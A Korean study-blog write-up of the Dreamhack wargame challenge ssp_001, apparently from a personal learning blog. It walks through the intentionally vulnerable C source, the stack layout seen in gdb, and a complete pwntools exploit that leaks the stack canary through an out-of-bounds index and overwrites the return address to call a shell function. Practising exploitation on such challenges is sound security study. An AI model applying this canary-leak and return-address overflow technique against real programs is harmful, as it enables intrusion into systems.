일 | 월 | 화 | 수 | 목 | 금 | 토 |
---|---|---|---|---|---|---|
1 | 2 | 3 | ||||
4 | 5 | 6 | 7 | 8 | 9 | 10 |
11 | 12 | 13 | 14 | 15 | 16 | 17 |
18 | 19 | 20 | 21 | 22 | 23 | 24 |
25 | 26 | 27 | 28 | 29 | 30 | 31 |
- Crypto
- OverTheWire Bandit Level 1 → Level 2
- overthewire
- arp
- redirect
- cryptography
- 암호학
- 드림핵
- shellcode
- picoCTF
- dns
- rao
- spoofing
- 웹해킹
- RSA
- Hastad
- AES
- bandit
- Cube Root Attack
- Franklin-Reiter Related Message Attack
- dreamhack
- return address overflow
- weak key
- CSRF
- RSA Common Modulas Attack
- XSS
- Bandit Level 1 → Level 2
- Montgomery Reduction
- pycrpytodome
- 시스템해킹
- Today
- Total
암호(수학) 등.. 공부한 거 잊을거 같아서 만든 블로그
[Dreamhack] ssp_001 본문
문제
문제 파일 : ssp_001.c
#include <stdio.h>
#include <stdlib.h>
#include <signal.h>
#include <unistd.h>
void alarm_handler() {
puts("TIME OUT");
exit(-1);
}
void initialize() {
setvbuf(stdin, NULL, _IONBF, 0);
setvbuf(stdout, NULL, _IONBF, 0);
signal(SIGALRM, alarm_handler);
alarm(30);
}
void get_shell() {
system("/bin/sh");
}
void print_box(unsigned char *box, int idx) {
printf("Element of index %d is : %02x\n", idx, box[idx]);
}
void menu() {
puts("[F]ill the box");
puts("[P]rint the box");
puts("[E]xit");
printf("> ");
}
int main(int argc, char *argv[]) {
unsigned char box[0x40] = {};
char name[0x40] = {};
char select[2] = {};
int idx = 0, name_len = 0;
initialize();
while(1) {
menu();
read(0, select, 2);
switch( select[0] ) {
case 'F':
printf("box input : ");
read(0, box, sizeof(box));
break;
case 'P':
printf("Element index : ");
scanf("%d", &idx);
print_box(box, idx);
break;
case 'E':
printf("Name Size : ");
scanf("%d", &name_len);
printf("Name : ");
read(0, name, name_len);
return 0;
default:
break;
}
}
}
풀이
checksec 을 통하여 적용되어 있는 보호기법 중에 카나리가 적용된 것을 확인할 수 있다.
ssp_001.c 코드를 보자.
int main(int argc, char *argv[]) {
unsigned char box[0x40] = {};
char name[0x40] = {};
char select[2] = {};
int idx = 0, name_len = 0;
box 와 name 배열이 0x40 만큼 선언되어 있는 것을 볼 수 있다.
while(1) {
menu();
read(0, select, 2);
switch( select[0] ) {
case 'F':
printf("box input : ");
read(0, box, sizeof(box));
break;
case 'P':
printf("Element index : ");
scanf("%d", &idx);
print_box(box, idx);
break;
case 'E':
printf("Name Size : ");
scanf("%d", &name_len);
printf("Name : ");
read(0, name, name_len);
return 0;
default:
break;
}
main에서 while 문을 보면, menu 함수를 호출하고, select를 입력 받는다.
void menu() {
puts("[F]ill the box");
puts("[P]rint the box");
puts("[E]xit");
printf("> ");
}
menu 함수는 안내문을 출력해주는 함수이고, 호출 이후에 select를 read 함수를 통해 입력 받아서 switch 문의 동작을 결정한다.
입력결과에 따른 switch 문의 동작은 아래와 같다.
F 를 입력시 box 의 크기 만큼을 입력 받는다.
P를 입력시 box 배열의 인덱스 값을 입력 받아 해당하는 값을 출력해준다.
E를 입력시 name에 입력할 크기를 입력 받은 후, name을 입력받고 종료한다.
여기서
P 는 인덱스 값의 크기를 마음대로 지정이 가능하므로 카나리의 값을 한 바이트씩 출력하여 알아 올 수 있다. ( canary leak )
E 는 name의 크기를 마음대로 지정이 가능하므로 rao ( return address overflow ) 가 가능하다.
void get_shell() {
system("/bin/sh");
}
ssp_001.c 에 함수를 보면 get_shell 함수가 있다.
get_shell 함수는 쉘을 실행해주는 함수이므로 이 함수의 주소값을 구해서 rao 를 하면 쉘을 획득할 수 있다.
따라서 순서는 다음과 같다.
- get_shell 함수 주소값 구하기.
- 스택 구조 분석
- 카나리의 값을 알기 위해 스택의 구조를 파악한 후, P 입력을 통해 카나리의 위치에 해당하는 인덱스를 입력하여 카나리의 값 알아오기.
- 알아온 카나리의 값을 통해 카나리를 우회하고, main 함수의 return address를 get_shell 함수의 주소로 덮어서 쉘 획득하기.
get_shell의 주소값은 gdb의 print 명령어를 이용하여 확인할 수 있으며 주소값이 4byte인 것을 확인할 수 있다.
이제 디버깅을 해서 스택구조를 확인해보자.
start 를 입력하여 main에 브레이크 포인트를 걸어서 디버깅을 하다보면 <main+117> 부분에서 2byte 만큼을 입력해야한다. 2byte의 크기를 가지는 배열이 select 임을 알 수 있고, 즉 read(0, select, 2); 함수를 call 하는 것을 알 수 있다.
menu();
read(0, select, 2);
박스값을 입력하기 위해 여기서는 F 를 입력하자.
이제 계속 디버깅을 하다보면 다음 부분에서 입력을 받는다.
0x40 크기 만큼 입력 받으므로 아래의 read 함수인 것을 알 수 있다.
case 'F':
printf("box input : ");
read(0, box, sizeof(box));
break;
A를 0x40 = 64 번 반복한 문자열을 입력해주고, stack 100 명령어를 입력하여 stack을 확인해 보자.
0xfffffd010 : AAAAA~~ ( buf, 0x40 bytes )
0xffffd050 : 0x00 ~~ ( 0x40 bytes )
0xffffd090 : 0x22de2c00 ( canary )
0xffffd094 : 0xf7ffcb80
0xffffd098 : 0xf7ffd020
0xffffd09c : 0xf7c21519 ( return address )
스택을 보면 box의 위치가 0xfffffd010 이고, 다음으로는 0x40크기의 공간이 있고, 0xffffd090 주소의 값의 첫바이트가 00 이므로 카나리임을 알 수 있다. 그리고 ebp 다음 위치 ( ebp +4 ) 가 return address 의 위치이다.
위에서 했던 방법으로 name을 확인해보면 box 다음의 0x40 만큼의 공간이 name의 저장공간인것을 알 수 있다.
0xffffd010 : 0x00~~ ( buf )
0xffffd050 : AAAA~~ ( name )
0xffffd090 : 0xe716f00 ( canary )
0xffffd094 : 0xf7ffcb80
0xffffd098 : 0xf7ffd020
0xffffd09c : 0xf7c21519 ( return address )
이제 스택의 구조를 파악했다.
buf + 0x80 에 카나리가 있으므로 카나리의 값을 알기 위해서 사용해야 하는 인덱스 값이 128 ( 0x80 ), 129 ( 0x81 ), 130 ( 0x82 ), 131 ( 0x83 ) 인 것을 알 수 있다.
그리고 name 바로 위에 canary가 있고, canary + 0x0c 위치에서 return address 값이 있으므로 rao ( return address overflow ) 공격 페이로드를
아무값 ( 0x40 ) + 카나리 ( 0x04 ) + 아무값 ( 0x0c ) + get_shell 함수 주소 ( 0x04 ) 로 작성하면 된다.
알아낸 사실을 바탕으로 익스플로잇 코드를 작성하면 다음과 같다.
exploit.py
from pwn import *
# p = process('./ssp_001')
p = remote('host3.dreamhack.games', 11620)
get_shell = 0x80486b9 # get_shell 함수 주소
payload = b''
len = 0x40 + 0x40
payload += b'A' * len
p.recvuntil('> ')
p.sendline('F')
p.recvuntil('input : ')
p.send(payload) # 'bA' * 0x40 를 box값으로 보냄
cnry = b'' # canary
for i in range(len + 3, len - 1, -1): # canary 획득, i = 131 (0x83), 130 (0x82), 129 (0x81), 128 (0x80)
p.sendlineafter("> ", 'P') # 리틀 엔디언이므로 순서 거꾸로
p.sendlineafter("Element index : ", str(i))
p.recvuntil('is : ')
cnry += p.recvn(2)
success(f'canary : {cnry}')
p.recvuntil('> ')
p.sendline('E')
p.recvuntil('Size : ')
p.sendline(str(0x50)) # name 입력 크기
payload = b''
payload += b'A' * 0x40 # name bufer
payload += p32(int(cnry, 16)) # canary
payload += b'A'*8 # SFP + dummy
payload += p32(get_shell) # return address
p.recvuntil('Name : ')
p.send(payload) #payload 전송
p.interactive() #쉘 획득
위 코드를 실행하면 쉘을 획득하여 플래그를 확인할 수 있다.
'Dreamhack > Pwnable' 카테고리의 다른 글
[Dreamhack] rop (0) | 2023.05.14 |
---|---|
[Dreamhack] Return_to_Library (0) | 2023.05.04 |
[Dreamhack] Return to Shellcode (0) | 2023.04.07 |
[Dreamhack] basic_exploitation_000 (0) | 2023.04.02 |
[Dreamhack] basic_exploitation_001 (0) | 2023.04.02 |